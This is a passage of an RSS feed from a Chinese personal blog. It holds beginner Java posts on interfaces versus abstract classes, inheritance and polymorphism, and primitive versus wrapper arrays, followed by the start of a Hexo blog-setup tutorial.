&lt;p&gt;那么，任意能吃的实体类都能实现它&lt;/p&gt;
&lt;p&gt;而我们把 &lt;code&gt;howToEat()&lt;/code&gt; 方法定义在一个抽象类&lt;code&gt;Animal&lt;/code&gt;中，那么只有继承它的子类才能实现这个方法，那一些蔬菜也能吃啊，把一种植物强行继承在动物类中，这有点不合继承的一些规则（不遵守is-a关系，乱来）&lt;/p&gt;
&lt;p&gt;而接口并没有这个情况出现，他很通用，只要能实现，都能在类中用 &lt;code&gt;implements&lt;/code&gt; 来继承它&lt;/p&gt;
&lt;p&gt;这里应该可以用 &lt;strong&gt;is-a&lt;/strong&gt; 和 &lt;strong&gt;is-kind-of&lt;/strong&gt; 关系来描述接口与子类，抽象父类与子类的关系&lt;/p&gt;
&lt;p&gt;我们在继承的时候知道了is-a关系，可以 &lt;code&gt;Circle is a GeometricObject&lt;/code&gt; 这样表示一个继承关系，这个父类子类关系比较明显&lt;/p&gt;
&lt;p&gt;而接口的继承关系可以这样表达 &lt;code&gt;String is kind of Comparable&lt;/code&gt; 或 &lt;code&gt;String is a Comparable Object&lt;/code&gt;，而这接口和类的关系就没那么关系明显了，是比较弱的一个关系&lt;/p&gt;
&lt;p&gt;那么就可以一句话解释上面的错误了 你想想 &lt;code&gt;Cabbage is an Animal&lt;/code&gt; 这河里吗？&lt;/p&gt;
&lt;h2&gt;写在最后&lt;/h2&gt;
&lt;p&gt;所以，抽象和接口相似但又有区别，因此设计程序的时候，最好根据实际需求进行选择&lt;/p&gt;
</content:encoded><category>Java</category></item><item><title>初识继承与多态</title><link>https://situ2001.com/blog/java/inheritance-and-polymorphism/</link><guid isPermaLink="true">https://situ2001.com/blog/java/inheritance-and-polymorphism/</guid><description>初识继承与多态</description><pubDate>Wed, 14 Oct 2020 11:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这篇文章主要写了咱对继承与多态的一点基本看法&lt;/p&gt;
&lt;h2&gt;写在前前面&lt;/h2&gt;
&lt;p&gt;其实领悟这种东西不必像玩茴香豆写法一样，实际上手多写一些OOP代码就是了
&lt;s&gt;当然感兴趣的读者还是可以看下去的&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;版本记录&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;2020-10-14 初学初写&lt;/li&gt;
&lt;li&gt;2020-10-19 回头发现些小问题，做几处修改&lt;/li&gt;
&lt;li&gt;2020-11-21 使部分文字变得简洁&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;咱最近在学习新知识--继承和多态的时候，反复看了一下书，然后手敲来验证&lt;/p&gt;
&lt;p&gt;最后吸收了知识并得到了结论&lt;/p&gt;
&lt;p&gt;知识输入住得稳还是要靠输出用得好&lt;/p&gt;
&lt;p&gt;其实本没有这篇文章的，只不过是我在思考的时候，发觉继承和多态有不可描述的关联&lt;/p&gt;
&lt;p&gt;&lt;s&gt;所以这篇文章便出来了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;下文掺杂着我的一些看法&lt;/p&gt;
&lt;p&gt;若有错误，还请大佬指出&lt;/p&gt;
&lt;h2&gt;继承&lt;/h2&gt;
&lt;p&gt;继承是面向对象编程的一个重要特性，可以使代码拥有更好的复用性&lt;/p&gt;
&lt;p&gt;依旧是拿几何图形来举例&lt;/p&gt;
&lt;p&gt;比如说三角形和圆形都是几何图形，它们有着如&lt;strong&gt;颜色 创建日期 是否被填色&lt;/strong&gt;等特性，有着共同的变量和对应的getter和setter，对于这些图形的实例，我们也都可以调用&lt;strong&gt;方法&lt;/strong&gt;来获取它们的&lt;strong&gt;填充状态 颜色 创建日期&lt;/strong&gt;等&lt;/p&gt;
&lt;p&gt;这时我们可以创建一个类&lt;strong&gt;GeometricObject&lt;/strong&gt;拥有着对应的data field和method&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GeometricObject
----
-color: String
-filled: boolean
-dateCreated: java.util.Date
----
+GeometricObject()
+GeometricObject(color: String, filled: boolean)
+getColor(): String
+isFilled(): boolean
+setFilled(filled: boolean): void
+getDataCreated(): java.util.Date
+toString(): String
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而圆和三角形对象都有自己那特别的特性，比如圆拥有&lt;strong&gt;半径&lt;/strong&gt;和变量的setter和getter，并且有自己特有的用于&lt;strong&gt;计算周长 计算面积&lt;/strong&gt;方法&lt;/p&gt;
&lt;p&gt;此时，类&lt;strong&gt;Circle&lt;/strong&gt;便如下图所示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                      Circle
-------------------------------------------------------
-radius: double
-------------------------------------------------------
+Circle()
+Circle(radius: double)
+Circle(radius: double, color: String, filled: boolean)
+getRadius(): double
+setRadius(radius: double): void
+getArea(): double
+getPerimeter(): double
+getDiameter(): double
+printCircle(): void
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而圆也有的那部分如&lt;strong&gt;颜色&lt;/strong&gt;相关等的data field和method呢？不用虚，我们可以使用如下语句创建一个继承了GeometricObject的Circle类&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Circle extends GeometricObject
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于Circle也是如此&lt;/p&gt;
&lt;p&gt;注：在Java中，&lt;strong&gt;所有类都extend于Object类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后下面是&lt;strong&gt;注意事项&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们要注意的注意的是不同class的调用有且只有accessible method或者accessible data field&lt;/p&gt;
&lt;p&gt;比如下面这个是不合法的 &lt;s&gt;好同学千万不要尝试哦&lt;/s&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**in class GeometricObject*/
private boolean filled;
/**in class Circle */
public Circle() {
  filled = true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过在继承的使用之中也要避免一些滥用错误(真这样用也是很暴力了)&lt;/p&gt;
&lt;p&gt;有&lt;strong&gt;不当继承&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;比如继承中，很多东西都遵循&lt;strong&gt;is-A relationship&lt;/strong&gt;，比如上述的Geometric和Circle可以说成 &lt;code&gt;A circle is geometric&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但这个规则并不是万能的，比如正方形和矩形，我们用 &lt;code&gt;A square is a rectangle&lt;/code&gt; 这种说法便不合适，因为肉眼可知，长方形有长和宽，而正方形只需用边长就能解决了&lt;/p&gt;
&lt;p&gt;也有&lt;strong&gt;天 马 行 空&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不要为了复用方法和数据域而进行胡乱继承&lt;/p&gt;
&lt;p&gt;如&lt;strong&gt;Person&lt;/strong&gt;和&lt;strong&gt;Tree&lt;/strong&gt;有着些许相同的特性，但是 &lt;code&gt;Tree is not a person&lt;/code&gt; 不遵循 &lt;strong&gt;is-A relationship&lt;/strong&gt;，于是不能把Tree继承Person&lt;/p&gt;
&lt;h2&gt;super关键字&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;super()&lt;/code&gt; 关键字是用来调用父类的constructor或者method的&lt;/p&gt;
&lt;p&gt;我们以上面举的例子来说，也就是下面这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Circle extends GeometricObject
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在创建Circle类对象的时候会同时调用Superclass的constructor以继承其方法和数据域&lt;/p&gt;
&lt;p&gt;他们只能被 &lt;code&gt;super();&lt;/code&gt; 或者 &lt;code&gt;super(parameters);&lt;/code&gt; 语句调用且该语句需要放在第一行&lt;/p&gt;
&lt;p&gt;没有被人为打上的时&lt;code&gt;super()&lt;/code&gt;是被隐式(implicitly)调用的&lt;/p&gt;
&lt;p&gt;所以下面两种都是等价的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public ClassName() {

}
//is equivalent to
public ClassName() {
  super();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一般来说，super()被显式调用的时候，往往是为了调用父类特定的constructor或者与子类&lt;strong&gt;重名&lt;/strong&gt;的方法，因为不重名的方法可以直接method()调用&lt;/p&gt;
&lt;h2&gt;继承链&lt;/h2&gt;
&lt;p&gt;当有类似下面的类时候，一条继承链就被创建了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Circle extends GeometricObject
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中Circle是子类，GeometricObject是父类，也有GeometricObject是子类，Object是父类&lt;/p&gt;
&lt;p&gt;如下所示 这就是一继承链&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Object &amp;lt;- GeometricObject &amp;lt;- Circle&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;让我们创建一个对象&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Circle circle = new Circle();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，由于类的constructor之间的相互调用，此时circle同时拥有了Circle类GeometricObject类和Object类的方法和数据域&lt;/p&gt;
&lt;p&gt;因为子类extends父类，所以子类的实例都可以是父类的实例&lt;/p&gt;
&lt;p&gt;听起来蛮拗口的对吧，我们可以用水果解释一下&lt;/p&gt;
&lt;p&gt;比如水果有苹果和橙子，苹果又分为红苹果和青苹果&lt;/p&gt;
&lt;p&gt;如果上述的都是类，那么它们其中一个继承关系应该如下&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Fruit &amp;lt;- Apple &amp;lt;- GreenApple&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;所以&lt;s&gt;根据生活经验&lt;/s&gt;可以看出GreenApple是Apple，Apple是Fruit，所以实例化为GreenApple类的实例呢，同时可以看作是Apple类的实例，也还可以看作是Fruit类对象的实例(就是说子类实例可以&lt;strong&gt;被当做&lt;/strong&gt;是父类的实例看，不过这个GreenApple本质上也只是GreenApple，并没有应该是多个类的实例而出现额外的新实例)&lt;/p&gt;
&lt;h2&gt;变量的两个类型&lt;/h2&gt;
&lt;p&gt;新建对象时的语句可以总结如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;delaredType name = new actualType(parameters);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面的变量name，有了两个东东，一个是Declared Type，还有一个是Actual Type&lt;/p&gt;
&lt;p&gt;举栗子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GeometricObject circle = new Circle();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其继承关系&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Object &amp;lt;- GeometricObject &amp;lt;- Circle&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这个引用变量circle呢，有两个类型：&lt;strong&gt;Declared Type&lt;/strong&gt;和&lt;strong&gt;Actual Type&lt;/strong&gt;，中文应该是声明类型和实际类型吧&lt;/p&gt;
&lt;p&gt;这个例子中变量circle的声明类型是&lt;strong&gt;GeometricObject&lt;/strong&gt;类型，实际类型是&lt;strong&gt;Circle&lt;/strong&gt;类型&lt;/p&gt;
&lt;p&gt;circle只是一个引用着一个对象的引用变量，被这个变量所引用 的对象 最先实例化的类 就是这个变量的&lt;strong&gt;Actual Type&lt;/strong&gt;，而所声明这个变量所选的类型，就是&lt;strong&gt;Declared Type&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通俗一点就是这本来是个圆实例，只不过引用它的变量的声明类型是&lt;strong&gt;GeometricObject&lt;/strong&gt;，并且这个圆实例不仅可以被声明类型为&lt;strong&gt;GeometricObject&lt;/strong&gt;类的变量所引用，还可以被声明类型为某一父类类型的变量所引用，此时它就被当做是父类的实例看待了，我们便把它看成了一个几何实例（这 就 是 多 态）。但是，这个&lt;code&gt;new Circle()&lt;/code&gt;（Circle即是这个变量的&lt;strong&gt;Actual Type&lt;/strong&gt;）表明了这个对象&lt;strong&gt;根本上&lt;/strong&gt;是由Circle类来实例化的&lt;/p&gt;
&lt;p&gt;其实这里我脑内理解还行，只不过表达输出来变得有点诡怪，希望大佬们能提点建议？&lt;/p&gt;
&lt;p&gt;？&lt;strong&gt;我认为&lt;/strong&gt;，一个继承了父类的子类对象被new出来，必然包含了父类的方法和数据域，所以引用这个对象的变量可以自然而然的进行声明类型的的切换，从而可以把这个子类对象看作为其他父类的对象？&lt;/p&gt;
&lt;h2&gt;Dynamic binding&lt;/h2&gt;
&lt;p&gt;另一方面来讲&lt;/p&gt;
&lt;p&gt;Declared Type是给编译器看的决定了哪一个方法会在编译时被match，比如上述变量circle的actual type虽然是Circle，但Declared type是GeometricObject类型，所以在编译的时候自然match不到比Declared type更子的类型的方法，比如Circle里面的getDiameter()方法，便因此而无法被调用&lt;/p&gt;
&lt;p&gt;而在运行的时候JVM会动态绑定method，这个所绑定的method，取决于Actual Type，若对象circle里面有个被Override的&lt;code&gt;toString()&lt;/code&gt;方法，那么即使该对象被引用的变量的Declared Type是GeometricObject（甚至是Object的话），就算match到了声明类型的类里有这个method，由于&lt;strong&gt;Dynamic binding&lt;/strong&gt;的缘故，它实际invoke的是最后一个子类所重写的&lt;code&gt;toString()&lt;/code&gt;方法&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上面这段话简短来说就是，编译的时候知道这个类型的对象应该会有什么方法，但是调用方法时候有Override的方法，就是调用的最末端Override的方法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;多态和对象类型转换&lt;/h2&gt;
&lt;p&gt;多态意味着在父类对象的地盘，都可以使用子类对象&lt;/p&gt;
&lt;p&gt;我们可以把一个子类对象的类型cast到父类的类型，&lt;s&gt;通俗一点就是把儿子当爸爸用&lt;/s&gt; 以便方便传参和通用化该对象&lt;/p&gt;
&lt;p&gt;看一下下面的一个传参的例子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class PolymorphismDemo {
  public static void main(String[] args) {
    displayObject(new Circle(1, &quot;red&quot;, false));
    displayObject(new Rectangle(1, 1, &quot;black&quot;, true));
  }

  public static void displayObject(GeometricObject object) {
    System.out.println(&quot;Created on &quot; + object.getDateCreated() +
      &quot;. Color is &quot; + object.getColor());
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面的代码中，通过cast为父类GeometricObject类型进行传参，方便了许多&lt;/p&gt;
&lt;p&gt;那我们upcast后怎么把他们downcast下来啊，很简单，想一下基本数据类型的casting，有显性转换也有隐形转换，同理，对象的类型转换也有隐有显，只不过面向对象的转换过程，并没有出现新的对象&lt;/p&gt;
&lt;p&gt;因为每一个子类的实例永远都是其父类的一个实例，所以upcast是隐性的&lt;/p&gt;
&lt;p&gt;但是每一个父类的实例并不一定是某一个子类的实例啊，所以downcast是显性的&lt;/p&gt;
&lt;p&gt;上面这两句话可以用生活例子来解释：就好比学科（父类）有语文和数学（子类），语文或数学类的实例一定可以是学科类的实例，而学科类的实例又不一定是语文类的实例，这个实例有可能是数学类的实例，也或许没有子类的实例存在呢？&lt;/p&gt;
&lt;p&gt;我们如果只new了实际类型是学科类的实例，那转换到语文或数学实例，便会产生&lt;code&gt;ClassCastExcpetion&lt;/code&gt;错误&lt;/p&gt;
&lt;p&gt;所以需要我们人为添加&lt;code&gt;(Type)&lt;/code&gt;来cast&lt;/p&gt;
&lt;p&gt;前面提到过了，由于继承，一个子类实例可以是一或多个父类的实例，但一个父类实例却不一定是某一子类的实例，所以为了避免产生downcast的错误，我们可以用关键字&lt;code&gt;instanceof&lt;/code&gt;来判断一个引用变量所引用的对象是不是目标类的一个实例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class CastingDemo {
  public static void main(String[] args) {
    Object object1 = new Circle(1);
    Object object2 = new Rectangle(1, 1);

    displayObject(object1);
    displayObject(object2);
  }

  public static void displayObject(Object object) {
    if (object instanceof Circle) {
      System.out.println(&quot;The circle area is &quot; + ((GeometricObject)object).getColor());
      System.out.println(&quot;The circle diameter is &quot; + ((Circle)object).getDiameter());
    }
    else if  (object instanceof Rectangle) {
      System.out.println(&quot;The rectangle area is &quot; + ((Rectangle)object).getArea());
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面这个例子就是利用了&lt;code&gt;instanceof&lt;/code&gt;来对应地转换对象的类型，从而避免了错误的产生&lt;/p&gt;
&lt;h2&gt;这要单独给个标题&lt;/h2&gt;
&lt;p&gt;结合前后内容突然醒悟 &lt;s&gt;小声BB 我悟错了吗&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;其实到最后，对于多态和上下转型的实现，我发现应该是这样的吧，不管是声明类型的怎么变化，还是typecast的那各种上上下下的操作，&lt;strong&gt;实际上操作的是引用变量，而不是已经被实例化的对象本身&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;结合上面那奇奇怪怪的大段文字和下面这句话理解&lt;/p&gt;
&lt;p&gt;一个继承了父类的子类对象在被new出来，必然包含了父类的方法和数据域&lt;/p&gt;
&lt;p&gt;&lt;s&gt;所以，只不过是因为引用变量的变化，才导致引用变量所指向的对象出现不那么一样的样子而已（此表达有点奇怪&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;总结一刻&lt;/h2&gt;
&lt;p&gt;在Java中，由多态概念的引出可以看出它与继承是有相当多的联系的，只因有了继承的关系，才会出现后面的多态，两者缺一不可&lt;/p&gt;
&lt;p&gt;而最后，多态中，出现的“子类的实例都可以是父类的实例”这句话，其实要理清楚，结合前面的知识，我们知道一个对象只能被实例化一次，多态中，这个创建了的对象只不过是随着指向着它的引用变量的类型变化而相对地变化成特定类的实例罢了&lt;/p&gt;
&lt;p&gt;所以，掳清概念很重要&lt;/p&gt;
</content:encoded><category>Java</category></item><item><title>反思之概念理解不可粗糙</title><link>https://situ2001.com/blog/java/something-naive-01/</link><guid isPermaLink="true">https://situ2001.com/blog/java/something-naive-01/</guid><description>反思之概念理解不可粗糙</description><pubDate>Fri, 09 Oct 2020 12:01:45 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;粗糙的学习与理解 必然会带来日后的隐患&lt;/p&gt;
&lt;p&gt;这不 咱最近就出现了一个问题&lt;/p&gt;
&lt;h2&gt;危险想法&lt;/h2&gt;
&lt;p&gt;我原来认为：包装类与基本数据类型可以相互转化，而数组是对象，所以 &lt;code&gt;int[]&lt;/code&gt; 和 &lt;code&gt;Integer[]&lt;/code&gt; 初始化出来的数组一定都是对象&lt;/p&gt;
&lt;h2&gt;咱被迷惑&lt;/h2&gt;
&lt;p&gt;前些天太浪了，导致咱最近在赶Java学习进度，一路高歌赶到多态&lt;s&gt;以集齐OOP三件套&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;直到&lt;s&gt;在水职业指导课的时候&lt;/s&gt;碰到一道自己难以回答的Check Point之后，才发觉暴力拔苗助长不可取，就好似人不可能一口吃下一个胖子一样&lt;/p&gt;
&lt;p&gt;这个问题是这样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;What is wrong with in the following code?

public class Test {
  public static void main(String[] args) {
    Integer[] list1 = {12, 24, 55, 1};
    Double[] list2 = {12.4, 24.0, 55.2, 1.0};
    int[] list3 = {1, 2, 3};
    printArray(list1);
    printArray(list2);
    printArray(list3);
  }

  public static void printArray(Object[] object) {
    for (object: o)
      System.out.print(o + &quot; &quot;);
    System.out.println();
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上题来自Java教材 &lt;strong&gt;Introduction to Java Programming and Data Structures Comprehensive Version&lt;/strong&gt; 的 Page.427 &lt;strong&gt;Check Point 11.8.4&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;绞尽脑汁&lt;/h2&gt;
&lt;p&gt;看到这道题的时候我只想到 pass 到 method printArray 的是对象的reference，而数组都是对象啊，这题目，哪里有错误啊&lt;/p&gt;
&lt;p&gt;“一定是粗心的坏习惯犯了！” 我想&lt;/p&gt;
&lt;p&gt;然而不管我怎么看，&lt;s&gt;左看右看正看倒看反复观看&lt;/s&gt;都看不出来&lt;/p&gt;
&lt;p&gt;此时水课过了一半，响起了下课铃 &lt;s&gt;吓得我吃了几个好丽友蛋黄派&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;一瞬报错&lt;/h2&gt;
&lt;p&gt;而最后中午回到宿舍，马上把代码码了上去，发现报错如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Exception in thread &quot;main&quot; java.lang.Error: Unresolved compilation problem:
    The method printArray(Object[]) in the type Test is not applicable for the arguments (int[])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;阅读这报错内容，基本可以得知, int[] type 竟然不是对象类型???&lt;/p&gt;
&lt;p&gt;震惊，难道数组在Java中不是属于对象吗？&lt;/p&gt;
&lt;p&gt;挺秃然的.jpg&lt;/p&gt;
&lt;h2&gt;开始混乱&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;迷惑行为开始了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;我对比了一下这两行代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  Integer[] list1 = {12, 24, 55, 1};
  int[] list3 = {1, 2, 3};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不就一个用的 Integer[] type 而另一个用的 int type 吗？&lt;/p&gt;
&lt;p&gt;回想起之前看过的 &lt;strong&gt;A primitive type can be automatically converted to an object using a wrapper class, and vice versa.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是说，Java是允许基本数据类型和 &lt;strong&gt;Wrapper Class&lt;/strong&gt; 类型相互转换的，这种转换叫做&lt;strong&gt;autoboxing&lt;/strong&gt; 和 &lt;strong&gt;autounboxing&lt;/strong&gt; （一般是在赋值的时候？）&lt;/p&gt;
&lt;p&gt;就好比下面这俩语句是等效的&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Integer i = new Integer(1);&lt;/code&gt; and &lt;code&gt;Integer i = 1;&lt;/code&gt; are &lt;strong&gt;equivalent&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;int i = 1;&lt;/code&gt; and &lt;code&gt;int i = new Integer(1);&lt;/code&gt; are also &lt;strong&gt;equivalent&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不过&lt;/p&gt;
&lt;p&gt;在我先前的概念里面，数组不是被Java当成对象处理了吗？&lt;/p&gt;
&lt;p&gt;那用 int[] 和 Integer[] 声明出来的数组，不都是属于一个对象吗？&lt;/p&gt;
&lt;p&gt;不能pass到method printArray就奇怪了&lt;/p&gt;
&lt;h2&gt;仔细咀嚼&lt;/h2&gt;
&lt;p&gt;emm能报错的话，一定有它的道理，而书上很大概率会单独开一段话提及的&lt;/p&gt;
&lt;p&gt;我尝试开始翻书阅览相关内容，终于，我找到了很明显的一段话 &lt;s&gt;当初肯定是仓促学习而略读了&lt;/s&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Consider the following example:
  1 Integer[] intArray = {1, 2, 3};
  2 System.out.println(intArray[0] + intArray[1] + intArray[2]);

  In line 1, the prmitive values 1, 2 and 3 are automatically boxed into objects new Integer(1), new Integer(2), and new Integer(3).

  In line 2, the objects intArray[0], intArray[1], and intArray[2] are automatically unboxed into int values that are added together.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好了，看完这段话我开始明白我的错误之处了 &lt;s&gt;这么长的一段话我当初怎么略读掉的&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;噢原来 Integer[] type 是创建一个包含有多个Integer对象的数组啊&lt;/p&gt;
&lt;p&gt;比如，这里有一个&lt;code&gt;Student&lt;/code&gt;类，我们可以用&lt;code&gt;Student[]&lt;/code&gt;来声明包含多个Student对象的数组&lt;/p&gt;
&lt;p&gt;那么int[] type呢，原来创建的是包含有多个int基本数据类型的数组，里面的每一个元素都是一个基本数据类型的值&lt;/p&gt;
&lt;p&gt;如果我们把 &lt;code&gt;int[] array = new int[100]&lt;/code&gt; 称之为&lt;/p&gt;
&lt;p&gt;&lt;code&gt;An array that contains 100 numbers&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;它叫做 &lt;strong&gt;Array of primitive values&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么&lt;code&gt;Integer[] array = new Integer[100]&lt;/code&gt; 则是&lt;/p&gt;
&lt;p&gt;&lt;code&gt;An array that contains 100 objects&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而它叫做 &lt;strong&gt;Array of objects&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;这个东西在OOP上手的时候就已经提到过了，不要被包装类和基本数据类型转换这玩意迷惑了眼睛&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;总结错误&lt;/h2&gt;
&lt;p&gt;回到下面的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  Integer[] list1 = {12, 24, 55, 1};
  int[] list3 = {1, 2, 3};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过前面重新回顾和学习的成果&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我们可见&lt;/strong&gt; list1数组它本身也是一个对象，并且是一个包含了好几个&lt;strong&gt;对象&lt;/strong&gt;形如&lt;code&gt;new Integer(1)&lt;/code&gt;的数组；而list3数组它本身也是一个对象，只不过里面包含的是好几个基本类型的数值而已&lt;/p&gt;
&lt;h2&gt;写在最后&lt;/h2&gt;
&lt;p&gt;做事要一步一步慢慢来，这才是符合科学和实践规律的&lt;/p&gt;
&lt;p&gt;时快时慢，马马虎虎，必将少不了翻车&lt;/p&gt;
&lt;p&gt;并且经过踏踏实实系统学习，我相信学习成果必定会比东拼西凑的学习要稳固得多&lt;/p&gt;
</content:encoded><category>Java</category></item><item><title>搭建个人博客</title><link>https://situ2001.com/blog/tutorials/build-your-own-blog/</link><guid isPermaLink="true">https://situ2001.com/blog/tutorials/build-your-own-blog/</guid><description>如何搭建一个属于自己的静态博客</description><pubDate>Sat, 03 Oct 2020 09:18:19 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;国庆回家了，先随便水一篇文章 &lt;s&gt;才放 4 天假差评&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;那么，如何搭建一个属于自己的静态博客？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;时效性&lt;/strong&gt;：本文在 2020/12/12 时，经舍友测试可用&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;这个世界上有许多东西，如果我们不去刻意记录，它们也许会永远消失于自己脑海，消失于他人视野中，消失于这个世上&lt;/p&gt;
&lt;p&gt;拥有一个自己的博客，可用于随手记下自己的成长历程中的点滴与思考&lt;/p&gt;
&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;一个自己的 GitHub 账户&lt;/li&gt;
&lt;li&gt;相关本地环境&lt;/li&gt;
&lt;li&gt;SSH 密钥&lt;/li&gt;
&lt;li&gt;阅读相关文档的&lt;strong&gt;耐心&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;选择博客框架&lt;/h2&gt;
&lt;p&gt;能搭建起博客的有很多，比如&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress (适合新手，不过有点臃肿，毕竟是动态博客)&lt;/li&gt;
&lt;li&gt;django (一个 python-based 的框架)&lt;/li&gt;
&lt;li&gt;hexo (轻量的静态博客，也是我选用的)&lt;/li&gt;
&lt;li&gt;github page 一把梭 (简单粗暴适合新手&lt;s&gt;可以直接把 github 当 editor&lt;/s&gt;)&lt;/li&gt;
&lt;li&gt;Jhipster (&lt;s&gt;能玩得起来的人都 tql&lt;/s&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后我选择了 hexo 作为我的博客框架，基于以下一些个人的思考&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;博客是否足够轻?&lt;/li&gt;
&lt;li&gt;文章文件是否&lt;strong&gt;易于备份&lt;/strong&gt;(重要，毕竟文章才是自己输出的心血)&lt;/li&gt;
&lt;li&gt;支不支持 Markdown&lt;/li&gt;
&lt;li&gt;是否可拓展且有比较多的插件&lt;/li&gt;
&lt;li&gt;是否可以一键部署至云端&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;本地环境&lt;/h2&gt;
&lt;p&gt;github 账户应该是人均一个了吧，这里不再说 github 账户注册相关的了&lt;/p&gt;
&lt;p&gt;在本地环境下，安装如下软件&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/&quot;&gt;Git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nodejs.org/en/&quot;&gt;node.js&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Git 用于后续的博客部署和版本控制，而 hexo 是 powered by nodejs 的&lt;/p&gt;
&lt;h2&gt;安装 hexo&lt;/h2&gt;
&lt;p&gt;作为用户，我们啥也不知道啊，但开发者已经把他想说的都写出来了，所以&lt;strong&gt;阅读文档&lt;/strong&gt;是个好方法&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hexo.io/docs/&quot;&gt;Hexo Deocumentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;里面写了 requirement 和 hexo installation 方法&lt;/p&gt;
